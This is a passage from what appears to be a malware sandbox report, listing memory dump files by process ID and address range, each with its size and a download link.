                                                                                                                                            Download

                                                                                                                                          • memory/4648-410-0x0000000002160000-0x00000000021D7000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            476KB

                                                                                                                                            Download

                                                                                                                                          • memory/4648-415-0x00000000021E0000-0x0000000002263000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            524KB

                                                                                                                                            Download

                                                                                                                                          • memory/4656-423-0x00000000004A0000-0x00000000004B3000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            76KB

                                                                                                                                            Download

                                                                                                                                          • memory/4656-424-0x00000000004C0000-0x00000000004E1000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            132KB

                                                                                                                                            Download

                                                                                                                                          • memory/4712-419-0x0000000005F90000-0x0000000005F91000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                            Download

                                                                                                                                          • memory/4712-392-0x0000000076F90000-0x000000007711E000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            1.6MB

                                                                                                                                            Download

                                                                                                                                          • memory/4724-359-0x0000000076F90000-0x000000007711E000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            1.6MB

                                                                                                                                            Download

                                                                                                                                          • memory/4724-387-0x0000000003310000-0x0000000003311000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                            Download

                                                                                                                                          • memory/4752-408-0x00007FF9589B0000-0x00007FF9589B2000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            8KB

                                                                                                                                            Download

                                                                                                                                          • memory/4800-394-0x0000000005A10000-0x0000000005A11000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                            Download

                                                                                                                                          • memory/4800-356-0x0000000076F90000-0x000000007711E000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            1.6MB

                                                                                                                                            Download

                                                                                                                                          • memory/5108-293-0x0000000004C90000-0x0000000004C91000-memory.dmp

                                                                                                                                            Filesize

                                                                                                                                            4KB

                                                                                                                                            Download